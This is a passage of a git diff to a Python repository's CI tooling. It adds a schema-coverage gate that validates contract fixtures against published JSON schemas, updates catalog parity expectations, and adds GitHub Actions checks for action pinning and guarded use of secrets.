parser.parse_args(argv) + try: + uid, _scope = resolve_requirement_context( + REPO_ROOT, + args.branch if args.branch is not None else current_requirement_branch(REPO_ROOT), + ) + except (RequirementScopeError, subprocess.CalledProcessError) as exc: + print(f"requirement context unavailable: {exc}", file=sys.stderr) + return 1 + print(uid or "") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/schema_coverage/__init__.py b/tools/schema_coverage/__init__.py new file mode 100644 index 000000000..e5bcbabfd --- /dev/null +++ b/tools/schema_coverage/__init__.py @@ -0,0 +1,6 @@ +"""Support package for the published-schema coverage gate (ASR-501, issue #1330). + +``tools/check_schema_coverage.py`` is the entry point; the closed key sets, the +evidence checks, and the declaration validator live here so no single module +carries the whole rule. +""" diff --git a/tools/schema_coverage/_classify.py b/tools/schema_coverage/_classify.py new file mode 100644 index 000000000..05a60cdd2 --- /dev/null +++ b/tools/schema_coverage/_classify.py @@ -0,0 +1,77 @@ +"""Join the published inventory to its coverage evidence, one row per contract.""" + +from __future__ import annotations + +from pathlib import Path + +from tools.check_json_artifacts import covered_schema_paths +from tools.check_schema_publication import load_schema_publication_catalog +from tools.policy.common import PolicyFailure +from tools.schema_coverage._declaration import evaluate_declaration +from tools.schema_coverage._evidence import formal_artifact_paths +from tools.schema_coverage._keys import ( + CATALOG_RULE_ID, + CORPUS, + COVERAGE_KEY, + DECLARED, + FORMAL, + MANIFEST_RELATIVE_PATH, + UNCOVERED, +) + +__all__ = ["CoverageRow", "classify"] + +#: ``(contract_id, schema_path, covering leg)``. +CoverageRow = tuple[str, str, str] + + +def _catalog_entries(repo_root: Path) -> tuple[list[dict[str, object]], list[PolicyFailure]]: + """Read the published inventory, failing closed rather than covering nothing.""" + + try: + catalog = load_schema_publication_catalog(repo_root) + except (OSError, ValueError): + message = "schema publication catalog could not be read; check_schema_publication.py owns the detail" + return [], [PolicyFailure(CATALOG_RULE_ID, message, MANIFEST_RELATIVE_PATH)] + entries = catalog.get("schemas") + if not isinstance(entries, list): + message = "schema publication catalog defines no schemas array" + return [], [PolicyFailure(CATALOG_RULE_ID, message, MANIFEST_RELATIVE_PATH)] + return [entry for entry in entries if isinstance(entry, dict)], [] + + +def _derived_leg(schema_path: str, corpus: frozenset[str] | set[str], formal: frozenset[str]) -> str: + if schema_path in corpus: + return CORPUS + if schema_path in formal: + return FORMAL + return UNCOVERED + + +def classify(repo_root: Path) -> tuple[list[CoverageRow], list[PolicyFailure]]: + """Return one row per published contract plus every malformed-association failure.""" + + entries, failures = _catalog_entries(repo_root) + if failures: + return [], failures + corpus = covered_schema_paths(repo_root) + formal, formal_failures = formal_artifact_paths(repo_root) + failures.extend(formal_failures) + + rows: list[CoverageRow] = [] + for entry in entries: + contract_id = entry.get("contract_id") + schema_path = entry.get("schema_path") + if not isinstance(contract_id, str) or not isinstance(schema_path, str): + # Malformed records are check_schema_publication.py's failure to report. + continue + leg = _derived_leg(schema_path, corpus, formal) + if COVERAGE_KEY in entry: + qualified, declaration_failures = evaluate_declaration( + repo_root, entry[COVERAGE_KEY], contract_id, schema_path + ) + failures.extend(declaration_failures) + if leg == UNCOVERED and qualified: + leg = DECLARED + rows.append((contract_id, schema_path, leg)) + return sorted(rows), failures diff --git a/tools/schema_coverage/_declaration.py b/tools/schema_coverage/_declaration.py new file mode 100644 index 000000000..41d9ba284 --- /dev/null +++ b/tools/schema_coverage/_declaration.py @@ -0,0 +1,150 @@ +"""Validation of the ``coverage`` association carried on a publication record. + +``check_schema_publication.py`` does not validate unknown keys on a publication +record, so the shape is owned end to end here. An association that produces any +reason provides no coverage at all: an unknown key, a dead or duplicated +reference, or a stale source cannot pass on the strength of a sibling that still +resolves. +""" + +from __future__ import annotations + +from pathlib import Path + +from tools.policy.common import PolicyFailure +from tools.schema_coverage._evidence import ( + check_embedded_source, + check_fixture_source, + check_source_path, + contract_version_forms, + first_reason, +) +from tools.schema_coverage._keys import ( + COVERAGE_KEYS, + DECLARATION_RULE_ID, + MAX_SOURCES, + RATIONALE_BOUNDS, + SOURCE_KEYS, + SOURCE_KINDS, + SUPPORTS_BOUNDS, +) + +__all__ = ["evaluate_declaration"] + + +def bounded_string_reason(value: object, label: str, bounds: tuple[int, int]) -> str | None: + minimum, maximum = bounds + if not isinstance(value, str): + return f"{label} must be a string" + if not minimum <= len(value.strip()) <= maximum: + return f"{label} must be between {minimum} and {maximum} characters" + return None + + +def _envelope_reasons(declaration: dict[str, object]) -> list[str]: + reasons: list[str] = [] + unknown = sorted(set(declaration) - COVERAGE_KEYS) + if unknown: + reasons.append(f"coverage has unsupported keys: {', '.join(unknown)}") + reason = bounded_string_reason(declaration.get("rationale"), "coverage rationale", RATIONALE_BOUNDS) + if reason is not None: + reasons.append(reason) + return reasons + + +def _usable_sources(declaration: dict[str, object], reasons: list[str]) -> list[object]: + """Return the source list to evaluate, recording any reason it is unusable.""" + + sources = declaration.get("sources") + if not isinstance(sources, list) or not sources: + reasons.append("coverage sources must be a non-empty array") + return [] + if len(sources) > MAX_SOURCES: + reasons.append(f"coverage sources must name at most {MAX_SOURCES} artifacts") + return [] + return sources + + +def _unknown_keys_reason(source: dict[str, object]) -> str | None: + unknown = sorted(set(source) - SOURCE_KEYS) + return f"coverage source has unsupported keys: {', '.join(unknown)}" if unknown else None + + +def _duplicate_reason(source: dict[str, object], seen: set[tuple[str, object]]) -> str | None: + """Reject a repeat of one (artifact, node) pair, recording it otherwise. + + Two embedded sources may legitimately share a carrier at different nodes, so + identity is the pair rather than the artifact alone. + """ + + identity = (str(source["path"]), source.get("pointer")) + if identity in seen: + return f"coverage sources must be unique: {identity[0]}" + seen.add(identity) + return None + + +def _source_shape_reason(repo_root: Path, source: object, seen: set[tuple[str, object]]) -> str | None: + """Reason this source cannot be evaluated at all, before any evidence check.""" + + if not isinstance(source, dict): + return "each coverage source must be a JSON object" + return first_reason( + ( + lambda: _unknown_keys_reason(source), + lambda: bounded_string_reason(source.get("supports"), "coverage source supports", SUPPORTS_BOUNDS), + lambda: check_source_path(repo_root, source.get("path")), + lambda: _duplicate_reason(source, seen), + ) + ) + + +def _evidence_reason( + repo_root: Path, + source: dict[str, object], + forms: frozenset[str], + schema_path: str, +) -> str | None: + relative_path = str(source["path"]) + kind = source.get("kind") + if kind == "fixture": + return check_fixture_source(repo_root, relative_path, forms, schema_path) + if kind == "embedded": + return check_embedded_source( + repo_root, + relative_path, + schema_path, + source.get("pointer"), + source.get("schema_pointer"), + ) + return f"coverage source kind must be one of {sorted(SOURCE_KINDS)}: {relative_path}" + + +def evaluate_declaration( + repo_root: Path, + declaration: object, + contract_id: str, + schema_path: str, +) -> tuple[bool, list[PolicyFailure]]: + """Return whether the association is evidence, plus every reason it is malformed.""" + + if not isinstance(declaration, dict): + return False, [PolicyFailure(DECLARATION_RULE_ID, "coverage must be a JSON object", schema_path)] + + reasons = _envelope_reasons(declaration) + forms = contract_version_forms(contract_id) + seen: set[tuple[str, object]] = set() + qualified = False + for source in _usable_sources(declaration, reasons): + shape_reason = _source_shape_reason(repo_root, source, seen) + if shape_reason is not None: + reasons.append(shape_reason) + continue + evidence_reason = _evidence_reason(repo_root, source, forms, schema_path) + if evidence_reason is None: + qualified = True + else: + reasons.append(evidence_reason) + + failures = [PolicyFailure(DECLARATION_RULE_ID, reason, schema_path) for reason in reasons] + return qualified and not reasons, failures diff --git a/tools/schema_coverage/_evidence.py b/tools/schema_coverage/_evidence.py new file mode 100644 index 000000000..562bea8b2 --- /dev/null +++ b/tools/schema_coverage/_evidence.py @@ -0,0 +1,312 @@ +"""Evidence checks: is a named artifact actually a validated payload of a contract? + +Every check here answers with a stable reason string or ``None``. Nothing is +trusted: an artifact counts only once the published schema has been run over it. +""" + +from __future__ import annotations + +from collections.abc import Callable +from pathlib import Path + +import yaml +from jsonschema import Draft202012Validator + +from tools.policy.common import PolicyFailure, load_bounded_json_object, load_yaml, safe_repo_path +from tools.schema_coverage._keys import ( + ASSURANCE_FULFILLMENT_RELATIVE_PATH, + CATALOG_RULE_ID, + CONTRACTS_ROOT, + DEFS_PREFIX, + JSON_SUFFIX, + MAX_POINTER_LENGTH, + MAX_SCHEMA_BYTES, + MAX_SOURCE_BYTES, + METASCHEMA, + VERSION_SUFFIX, +) +from tools.tooling_artifact_policy_common import is_regular_repo_file + +__all__ = [ + "check_embedded_source", + "check_fixture_source", + "check_source_path", + "contract_version_forms", + "declares_contract", + "formal_artifact_paths", + "resolve_pointer", +] + + +def first_reason(checks: tuple[Callable[[], str | None], ...]) -> str | None: + """Return the first check's reason, or None when every check is satisfied.""" + + for check in checks: + reason = check() + if reason is not None: + return reason + return None + + +def contract_version_forms(contract_id: str) -> frozenset[str]: + """Return the ``schema_version`` spellings that identify ``contract_id``. + + Published schemas spell their own version with a slash + (``operation-status/v1``) while the publication record and schema filename + use a hyphen (``operation-status-v1``). Both identify one contract. + """ + + match = VERSION_SUFFIX.match(contract_id) + if match is None: + return frozenset({contract_id}) + return frozenset({contract_id, f"{match['base']}/{match['version']}"}) + + +def declares_contract(payload: object, forms: frozenset[str]) -> bool: + """Whether the document as a whole claims to be a payload of the contract. + + The claim must be the document's own ``schema_version``. A contract id found + deeper — an element of a declared-contract list, a member of a carrier, a + prose mention — is not this document claiming to be that contract. A payload + that genuinely lives inside a carrier is named by its node with an + ``embedded`` source instead, so it is validated as the thing it is rather + than dragging its carrier through the wrong schema. + """ + + return isinstance(payload, dict) and payload.get("schema_version") in forms + + +def formal_artifact_paths(repo_root: Path) -> tuple[frozenset[str], list[PolicyFailure]]: + """Delivered assurance-artifact paths from the canonical fulfillment map. + + Waived artifacts are deliberately excluded: a dated, tracked waiver records + an unresolved obligation. A missing fulfillment map is not an error here — + this gate never requires a formal model. + """ + + path = repo_root / ASSURANCE_FULFILLMENT_RELATIVE_PATH + if not path.is_file(): + return frozenset(), [] + try: + document = load_yaml(path) + except (OSError, yaml.YAMLError): + failure = PolicyFailure( + CATALOG_RULE_ID, + "assurance fulfillment map is not readable valid YAML", + ASSURANCE_FULFILLMENT_RELATIVE_PATH, + ) + return frozenset(), [failure] + entries = document.get("entries") + delivered = ( + { + artifact["path"] + for entry in entries + if isinstance(entry, dict) + for artifact in (entry.get("delivered_artifacts") or []) + if isinstance(artifact, dict) and isinstance(artifact.get("path"), str) + } + if isinstance(entries, list) + else set() + ) + return frozenset(delivered), [] + + +def check_source_path(repo_root: Path, relative_path: object) -> str | None: + """Return a stable reason the source path is unusable, or None when it is safe.""" + + if not isinstance(relative_path, str) or not relative_path: + return "source path must be a non-empty string" + return first_reason( + ( + lambda: ( + f"source path must be a normalized repo-relative path: {relative_path}" + if relative_path != Path(relative_path).as_posix() or relative_path.startswith("/") + else None + ), + lambda: ( + f"source path escapes the repository: {relative_path}" + if safe_repo_path(repo_root, relative_path) is None + else None + ), + lambda: ( + f"source path is not a regular in-repository file: {relative_path}" + if not is_regular_repo_file(repo_root, relative_path) + else None + ), + ) + ) + + +def _definition_wrapper(root: dict[str, object], schema_pointer: str) -> tuple[dict[str, object] | None, str | None]: + """Wrap one published ``$defs`` entry so its ``$ref`` resolves locally.""" + + definitions = root.get("$defs") + name = schema_pointer[len(DEFS_PREFIX) :] + if not isinstance(definitions, dict) or name not in definitions: + return None, f"schema pointer names no published definition: {schema_pointer}" + return {"$schema": root.get("$schema", METASCHEMA), "$defs": definitions, "$ref": schema_pointer}, None + + +def _published_validator( + repo_root: Path, schema_path: str, schema_pointer: str | None +) -> tuple[Draft202012Validator | None, str | None]: + """Build a validator for the published schema, or for one of its published ``$defs``. + + Resolution is local: the wrapper copies the root ``$defs`` so a ``$ref`` in + the named sub-schema resolves without any network or registry lookup. + """ + + try: + root = load_bounded_json_object(repo_root, schema_path, max_bytes=MAX_SCHEMA_BYTES) + except ValueError: + return None, f"published schema is not a readable bounded JSON object: {schema_path}" + if schema_pointer is None: + return Draft202012Validator(root), None + wrapper, reason = _definition_wrapper(root, schema_pointer) + return (None, reason) if reason is not None else (Draft202012Validator(wrapper), None) + + +def _conformance_reason(validator: Draft202012Validator, payload: object, relative_path: str) -> str | None: + errors = sorted(validator.iter_errors(payload), key=lambda error: list(error.path)) + if not errors: + return None + # Bounded, path-only diagnostics: never echo the payload or the validator message body. + location = "/".join(str(part) for part in errors[0].path) or "" + return f"source does not conform to the published schema at {location}: {relative_path}" + + +def _validated( + repo_root: Path, + payload: object, + schema_path: str, + schema_pointer: str | None, + relative_path: str, +) -> str | None: + validator, reason = _published_validator(repo_root, schema_path, schema_pointer) + return reason if reason is not None else _conformance_reason(validator, payload, relative_path) + + +def _bounded_document( + repo_root: Path, relative_path: str, label: str, max_bytes: int +) -> tuple[dict[str, object] | None, str | None]: + """Load one bounded repository JSON object, or say why it could not be read.""" + + try: + return load_bounded_json_object(repo_root, relative_path, max_bytes=max_bytes), None + except ValueError: + return None, f"{label} source is not a readable bounded JSON object: {relative_path}" + + +def _contracts_json_reason(relative_path: str, label: str) -> str | None: + if relative_path.startswith(CONTRACTS_ROOT) and relative_path.endswith(JSON_SUFFIX): + return None + return f"{label} source must be a JSON artifact under {CONTRACTS_ROOT}: {relative_path}" + + +def check_fixture_source( + repo_root: Path, + relative_path: str, + forms: frozenset[str], + schema_path: str, +) -> str | None: + """A fixture source is evidence only if it is a payload of the contract that validates. + + Carrying the contract id is an identity claim, not evidence. The gate proves + the claim here by validating the document against the checked-in published + schema, so a deliberately invalid document can never stand in as coverage. + """ + + return first_reason( + ( + lambda: _contracts_json_reason(relative_path, "fixture"), + lambda: _fixture_evidence_reason(repo_root, relative_path, forms, schema_path), + ) + ) + + +def _fixture_evidence_reason( + repo_root: Path, relative_path: str, forms: frozenset[str], schema_path: str +) -> str | None: + payload, load_reason = _bounded_document(repo_root, relative_path, "fixture", MAX_SOURCE_BYTES) + if load_reason is not None: + return load_reason + if not declares_contract(payload, forms): + return f"fixture source does not carry a payload of this contract: {relative_path}" + return _validated(repo_root, payload, schema_path, None, relative_path) + + +def resolve_pointer(payload: object, pointer: str) -> tuple[object, bool]: + """Resolve an RFC 6901 pointer against a loaded document.""" + + node = payload + for raw_token in pointer.split("/")[1:]: + token = raw_token.replace("~1", "/").replace("~0", "~") + if isinstance(node, dict) and token in node: + node = node[token] + elif isinstance(node, list) and token.isdigit() and int(token) < len(node): + node = node[int(token)] + else: + return None, False + return node, True + + +def _pointer_reason(pointer: object, relative_path: str) -> str | None: + valid = isinstance(pointer, str) and pointer.startswith("/") and len(pointer) <= MAX_POINTER_LENGTH + if valid: + return None + return f"embedded source needs an RFC 6901 pointer into the carrier: {relative_path}" + + +def _schema_pointer_reason(schema_pointer: object, relative_path: str) -> str | None: + if schema_pointer is None: + return None + valid = ( + isinstance(schema_pointer, str) + and schema_pointer.startswith(DEFS_PREFIX) + and len(schema_pointer) <= MAX_POINTER_LENGTH + ) + if valid: + return None + return f"embedded schema pointer must name a published definition: {relative_path}" + + +def check_embedded_source( + repo_root: Path, + relative_path: str, + schema_path: str, + pointer: object, + schema_pointer: object, +) -> str | None: + """An embedded source is evidence only if the pointed-to node validates. + + Some contracts are realized as a node inside a carrier rather than as a + standalone document — the ``x-raes-invariants`` entries published inside + other schemas, for example. The carrier and the exact node are named here and + the gate validates that node against the published shape, so breaking or + deleting the annotation turns the gate red. + """ + + return first_reason( + ( + lambda: _contracts_json_reason(relative_path, "embedded"), + lambda: _pointer_reason(pointer, relative_path), + lambda: _schema_pointer_reason(schema_pointer, relative_path), + lambda: _embedded_evidence_reason(repo_root, relative_path, schema_path, pointer, schema_pointer), + ) + ) + + +def _embedded_evidence_reason( + repo_root: Path, + relative_path: str, + schema_path: str, + pointer: object, + schema_pointer: object, +) -> str | None: + carrier, load_reason = _bounded_document(repo_root, relative_path, "embedded", MAX_SCHEMA_BYTES) + if load_reason is not None: + return load_reason + node, found = resolve_pointer(carrier, str(pointer)) + if not found: + return f"embedded pointer {pointer} resolves to nothing in {relative_path}" + return _validated(repo_root, node, schema_path, schema_pointer, relative_path) diff --git a/tools/schema_coverage/_keys.py b/tools/schema_coverage/_keys.py new file mode 100644 index 000000000..152d55479 --- /dev/null +++ b/tools/schema_coverage/_keys.py @@ -0,0 +1,63 @@ +"""Closed key sets, bounds, and rule identifiers for published-schema coverage.""" + +from __future__ import annotations + +import re + +ASSURANCE_FULFILLMENT_RELATIVE_PATH = "specs/formal/assurance-fulfillment.yaml" +MANIFEST_RELATIVE_PATH = "contracts/schema-publication-manifest.json" + +COVERAGE_KEY = "coverage" +CATALOG_RULE_ID = "schema-coverage-catalog-unreadable" +DECLARATION_RULE_ID = "schema-coverage-declaration-invalid" +MISSING_RULE_ID = "schema-coverage-missing" + +MAX_SOURCES = 8 +RATIONALE_BOUNDS = (20, 500) +SUPPORTS_BOUNDS = (10, 200) +MAX_SOURCE_BYTES = 1_000_000 +MAX_SCHEMA_BYTES = 4_000_000 +MAX_POINTER_LENGTH = 256 + +COVERAGE_KEYS = frozenset({"rationale", "sources"}) +SOURCE_KEYS = frozenset({"kind", "path", "pointer", "schema_pointer", "supports"}) +SOURCE_KINDS = frozenset({"fixture", "embedded"}) + +CONTRACTS_ROOT = "contracts/" +JSON_SUFFIX = ".json" +DEFS_PREFIX = "#/$defs/" +METASCHEMA = "https://json-schema.org/draft/2020-12/schema" +VERSION_SUFFIX = re.compile(r"^(?P.+)-(?Pv\d+)$") + +# Covering legs, strongest evidence first. +CORPUS = "corpus" +FORMAL = "formal" +DECLARED = "declared" +UNCOVERED = "uncovered" + +__all__ = [ + "ASSURANCE_FULFILLMENT_RELATIVE_PATH", + "CATALOG_RULE_ID", + "CONTRACTS_ROOT", + "CORPUS", + "COVERAGE_KEY", + "COVERAGE_KEYS", + "DECLARATION_RULE_ID", + "DECLARED", + "DEFS_PREFIX", + "FORMAL", + "JSON_SUFFIX", + "MANIFEST_RELATIVE_PATH", + "MAX_POINTER_LENGTH", + "MAX_SCHEMA_BYTES", + "MAX_SOURCE_BYTES", + "MAX_SOURCES", + "METASCHEMA", + "MISSING_RULE_ID", + "RATIONALE_BOUNDS", + "SOURCE_KEYS", + "SOURCE_KINDS", + "SUPPORTS_BOUNDS", + "UNCOVERED", + "VERSION_SUFFIX", +] diff --git a/tools/sdl_catalog_parity/_checks.py b/tools/sdl_catalog_parity/_checks.py index bbb06d5d1..288a8f0d8 100644 --- a/tools/sdl_catalog_parity/_checks.py +++ b/tools/sdl_catalog_parity/_checks.py @@ -9,6 +9,7 @@ from raes._mapping_scopes import HASHMAP_SECTIONS from raes._module_symbols import HASHMAP_SECTIONS as MODULE_HASHMAP_SECTIONS from raes._runtime_service_families import RUNTIME_SERVICE_FAMILIES +from raes.materialization import MaterializedScenario from raes.phase_contracts import ExpansionProvenance, InstantiationProvenance from raes.scenario import ( ExpandedScenario, @@ -215,7 +216,9 @@ def _check_top_level(text: str, schema: dict[str, Any]) -> tuple[list[PolicyFail return failures, rows -def _reference_contract_failures(by_source: dict[str, tuple[str, str, str, str]]) -> list[PolicyFailure]: +def _reference_contract_failures( + by_source: dict[str, tuple[str, str, str, str]], +) -> list[PolicyFailure]: if by_source == REFERENCE_EDGE_EXPECTATIONS: return [] differing = sorted( @@ -270,7 +273,9 @@ def _row_validity_failures(rows: list[ReferenceRow], repo_root: Path) -> list[Po return failures -def _behavior_edge_failures(by_source: dict[str, tuple[str, str, str, str]]) -> list[PolicyFailure]: +def _behavior_edge_failures( + by_source: dict[str, tuple[str, str, str, str]], +) -> list[PolicyFailure]: failures: list[PolicyFailure] = [] behavior_expectations = { source: expected @@ -366,6 +371,7 @@ def _phase_status(model: type[ScenarioContent], member: str) -> str: ("normalized", Scenario), ("expanded", ExpandedScenario), ("instantiated", InstantiatedScenario), + ("materialized", MaterializedScenario), ) @@ -376,7 +382,7 @@ def _phase_membership_failures( failures: list[PolicyFailure] = [] for member in sorted(set(by_member) & expected_members): row = by_member[member] - actual = (row.normalized, row.expanded, row.instantiated) + actual = tuple(getattr(row, phase) for phase, _model in _PHASE_MODELS) expected = tuple(_phase_status(model, member) for _phase, model in _PHASE_MODELS) if actual != expected: failures.append( @@ -397,7 +403,9 @@ def _phase_membership_failures( return failures -def _realization_transfer_failures(by_member: dict[str, PhaseMemberRow]) -> list[PolicyFailure]: +def _realization_transfer_failures( + by_member: dict[str, PhaseMemberRow], +) -> list[PolicyFailure]: realization = by_member.get("realization") if realization is None: return [] diff --git a/tools/sdl_catalog_parity/_expectations_1.py b/tools/sdl_catalog_parity/_expectations_1.py index 4e4c88010..2a0de2057 100644 --- a/tools/sdl_catalog_parity/_expectations_1.py +++ b/tools/sdl_catalog_parity/_expectations_1.py @@ -30,6 +30,12 @@ _SWITCH_BACKED, ) +_PARTICIPANT_VALIDATOR = ( + "[participant relationship validator]" + "(../../implementations/python/packages/raes/validator/_participant_relationships.py)" +) +_PARTICIPANT_PHASE = "semantic validation and instantiation" + EXPECTATIONS_PART_1: dict[str, tuple[str, str, str, str]] = { "nodes.*.features[]": ("features", _SEMANTIC, _DANGLING, _NODE_VALIDATOR), "nodes.*.features.*": ( @@ -274,6 +280,54 @@ "fatal dangling or ambiguous; subtype may narrow domain", _RELATIONSHIP_VALIDATOR, ), + "relationships.*.participant.source_action_refs[]": ( + "action_contracts", + _PARTICIPANT_PHASE, + "fatal dangling, duplicate alias, or action unavailable to source", + _PARTICIPANT_VALIDATOR, + ), + "relationships.*.participant.target_action_refs[]": ( + "action_contracts", + _PARTICIPANT_PHASE, + "fatal dangling, duplicate alias, or action unavailable to target", + _PARTICIPANT_VALIDATOR, + ), + "relationships.*.participant.objective_refs[]": ( + "objectives", + _PARTICIPANT_PHASE, + "fatal dangling, duplicate alias, or unrelated objective owner", + _PARTICIPANT_VALIDATOR, + ), + "relationships.*.participant.behavior_specification_refs[]": ( + "behavior_specifications", + _PARTICIPANT_PHASE, + "fatal dangling, duplicate alias, or unrelated participant binding", + _PARTICIPANT_VALIDATOR, + ), + "relationships.*.participant.authority_basis_refs[]": ( + "any", + _PARTICIPANT_PHASE, + "fatal dangling, ambiguous, duplicate alias, or wider than source authority", + _PARTICIPANT_VALIDATOR, + ), + "relationships.*.participant.scope_refs[]": ( + "targetable", + _PARTICIPANT_PHASE, + "fatal duplicate alias or outside spatial/resource scope of either endpoint or selected control policy", + _PARTICIPANT_VALIDATOR, + ), + "relationships.*.participant.observation_boundary_refs[]": ( + "observation_boundaries", + _PARTICIPANT_PHASE, + "fatal dangling, duplicate alias, or unavailable source observation", + _PARTICIPANT_VALIDATOR, + ), + "relationships.*.participant.control_specification_ref": ( + "behavior_specifications", + _PARTICIPANT_PHASE, + "fatal missing mixed-control policy or contradictory controller direction/scope", + _PARTICIPANT_VALIDATOR, + ), "relationships.*.database_access.role_ref": ( "derived:database_roles", _SEMANTIC, diff --git a/tools/sdl_catalog_parity/_expectations_2.py b/tools/sdl_catalog_parity/_expectations_2.py index e3b756c63..e3c67d7fd 100644 --- a/tools/sdl_catalog_parity/_expectations_2.py +++ b/tools/sdl_catalog_parity/_expectations_2.py @@ -27,7 +27,12 @@ ) EXPECTATIONS_PART_2: dict[str, tuple[str, str, str, str]] = { - "agents.*.entity": ("entities", _SEMANTIC, _DANGLING, _PARTICIPANT_VALIDATOR), + "agents.*.affiliations[]": ( + "entities", + _SEMANTIC, + _DANGLING, + _PARTICIPANT_VALIDATOR, + ), "agents.*.actions[]": ( "action_contracts", _SEMANTIC, diff --git a/tools/sdl_catalog_parity/_expectations_3.py b/tools/sdl_catalog_parity/_expectations_3.py index dcac5551d..aeb61e0b2 100644 --- a/tools/sdl_catalog_parity/_expectations_3.py +++ b/tools/sdl_catalog_parity/_expectations_3.py @@ -183,12 +183,17 @@ _ORDER_POINT_SCOPE, _VARIATION_VALIDATOR, ), - "objectives.*.agent": ("agents", _SEMANTIC, _DANGLING, _OBJECTIVE_SEMANTICS), - "objectives.*.entity": ("entities", _SEMANTIC, _DANGLING, _OBJECTIVE_SEMANTICS), + "objectives.*.assigned_participant": ( + "agents", + _SEMANTIC, + _DANGLING, + _OBJECTIVE_SEMANTICS, + ), + "objectives.*.owner": ("entities", _SEMANTIC, _DANGLING, _OBJECTIVE_SEMANTICS), "objectives.*.actions[]": ( - "derived:agent_actions", + "action_contracts", _SEMANTIC, - "fatal outside the bound agent action contracts", + "fatal undeclared contract or outside assigned participant actions", _OBJECTIVE_SEMANTICS, ), "objectives.*.targets[]": ( diff --git a/tools/sdl_catalog_parity/_rows.py b/tools/sdl_catalog_parity/_rows.py index 027b657b7..1f7499d89 100644 --- a/tools/sdl_catalog_parity/_rows.py +++ b/tools/sdl_catalog_parity/_rows.py @@ -66,6 +66,7 @@ class PhaseMemberRow: normalized: str expanded: str instantiated: str + materialized: str transfer: str line_no: int @@ -198,10 +199,11 @@ def parse_phase_member_catalog(text: str) -> list[PhaseMemberRow]: normalized=cells[1].strip().lower(), expanded=cells[2].strip().lower(), instantiated=cells[3].strip().lower(), - transfer=cells[4].strip(), + materialized=cells[4].strip().lower(), + transfer=cells[5].strip(), line_no=line_no, ) - for line_no, cells in _table(text, _PHASE_HEADING, 5) + for line_no, cells in _table(text, _PHASE_HEADING, 6) ] _unique(rows, "member", "phase-specific member") return rows diff --git a/tools/tool_versions.py b/tools/tool_versions.py index 734d76f30..0e3345ef5 100644 --- a/tools/tool_versions.py +++ b/tools/tool_versions.py @@ -16,5 +16,4 @@ # versions. LIVE_RUNNER_UBUNTU_IMAGE_OWNER = "099720109477" LIVE_RUNNER_UBUNTU_IMAGE_NAME = "ubuntu/images/hvm-ssd-gp3/ubuntu-noble-24.04-amd64-server-20260911" -LIVE_RUNNER_NATIVE_SNAPSHOT = "20260901T000000Z" LIVE_RUNNER_CPYTHON_ARTIFACT = "cpython-3.14" diff --git a/tools/tooling_artifact_policy_actions.py b/tools/tooling_artifact_policy_actions.py index 05a117b40..b74cfe186 100644 --- a/tools/tooling_artifact_policy_actions.py +++ b/tools/tooling_artifact_policy_actions.py @@ -1,27 +1,251 @@ -"""Compatibility facade for the GitHub Actions tooling policy authority.""" +"""Focused security checks of native GitHub workflow configuration.""" from __future__ import annotations -from collections.abc import Mapping -from itertools import product +import re +from collections.abc import Mapping, Sequence +from pathlib import Path from typing import Any -from implementations.tooling.action_policy_main import action_failures -from implementations.tooling.action_policy_matrix import matrix_rows, runner_profiles +from implementations.tooling.action_policy_yaml import workflow_documents +from tools.policy.common import PolicyFailure +from tools.tooling_artifact_policy_common import as_list, as_mapping, failure +_ACTION_PIN = re.compile(r"^[A-Za-z0-9_.-]+/[A-Za-z0-9_./-]+@[0-9a-f]{40}$") +_IMAGE_PIN = re.compile(r"^[^\s@]+@sha256:[0-9a-f]{64}$") +_SECRET = re.compile(r"\bsecrets\b", re.IGNORECASE) +_CANONICAL = ".github/workflows/canonical-verification.yml" +# A specific credential boundary, not a general Actions expression interpreter. +_SONAR_GUARD = """inputs.sonar-enabled +&& ((github.event_name == 'push' +&& (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/dev')) +|| (github.event_name == 'pull_request' +&& github.event.pull_request.head.repo.full_name == github.repository +&& github.actor != 'dependabot[bot]'))""" -def _matrix_rows(job: Mapping[str, Any]) -> tuple[list[dict[str, object]], bool]: - """Retain the private test seam while the implementation lives under implementations/.""" - return matrix_rows(job, product_values=product) +def _condition(value: object) -> str: + return " ".join(str(value or "").removeprefix("${{").removesuffix("}}").split()) -def _runner_profiles( +def _secret_expressions(value: object) -> set[str]: + expressions: set[str] = set() + if isinstance(value, str): + expressions = {value} if "${{" in value and _SECRET.search(value) is not None else set() + elif isinstance(value, Mapping): + expressions = set().union(*(_secret_expressions(child) for child in value.values())) + elif isinstance(value, list): + expressions = set().union(*(_secret_expressions(child) for child in value)) + return expressions + + +def _sonar_boundary(path: str, name: str, job: Mapping[str, Any], workflows: Mapping[str, Any]) -> bool: + target = as_mapping(as_mapping(workflows.get(_CANONICAL)).get("jobs")).get("sonar", {}) + guarded = _condition(as_mapping(target).get("if")) == _condition(_SONAR_GUARD) + if path == _CANONICAL and name == "sonar": + return guarded and _secret_expressions(job) == {"${{ secrets.sonar_token }}"} + return bool( + path == ".github/workflows/ci.yml" + and name == "canonical" + and guarded + and job.get("uses") == "./" + _CANONICAL + and job.get("secrets") == {"sonar_token": "${{ secrets.SONAR_TOKEN }}"} + and _secret_expressions(job) == {"${{ secrets.SONAR_TOKEN }}"} + ) + + +def _pin_failures(path: str, step: Mapping[str, Any], workflows: Mapping[str, Any]) -> list[PolicyFailure]: + uses = step.get("uses") + if uses is None: + return [] + if not isinstance(uses, str): + valid = False + elif uses.startswith("./"): + valid = uses.removeprefix("./") in workflows + elif uses.startswith("docker://"): + valid = _IMAGE_PIN.fullmatch(uses.removeprefix("docker://")) is not None + else: + valid = _ACTION_PIN.fullmatch(uses) is not None + failures = [] if valid else [failure("tooling-action-pin", "action must use an immutable source pin", path)] + if isinstance(uses, str) and uses.startswith("actions/checkout@"): + if as_mapping(step.get("with")).get("persist-credentials") is not False: + failures.append( + failure( + "tooling-action-credentials", + "checkout must not persist credentials", + path, + ) + ) + return failures + + +def _supplied_contract_invalid(supplied: object, declared: Mapping[str, Any]) -> bool: + if not isinstance(supplied, Mapping): + return True + required = {name for name, definition in declared.items() if as_mapping(definition).get("required") is True} + return bool(set(supplied) - set(declared) or required - set(supplied)) + + +def _target_contract_invalid(target: Mapping[str, Any], job: Mapping[str, Any]) -> bool: + """Compare a reusable call with its native workflow_call declaration.""" + + triggers = as_mapping(target.get("on", target.get(True))) + if "workflow_call" not in triggers: + return True + call = as_mapping(triggers["workflow_call"]) + return any( + _supplied_contract_invalid(job.get(supplied_key, {}), as_mapping(call.get(declared_key))) + for supplied_key, declared_key in (("with", "inputs"), ("secrets", "secrets")) + ) + + +def 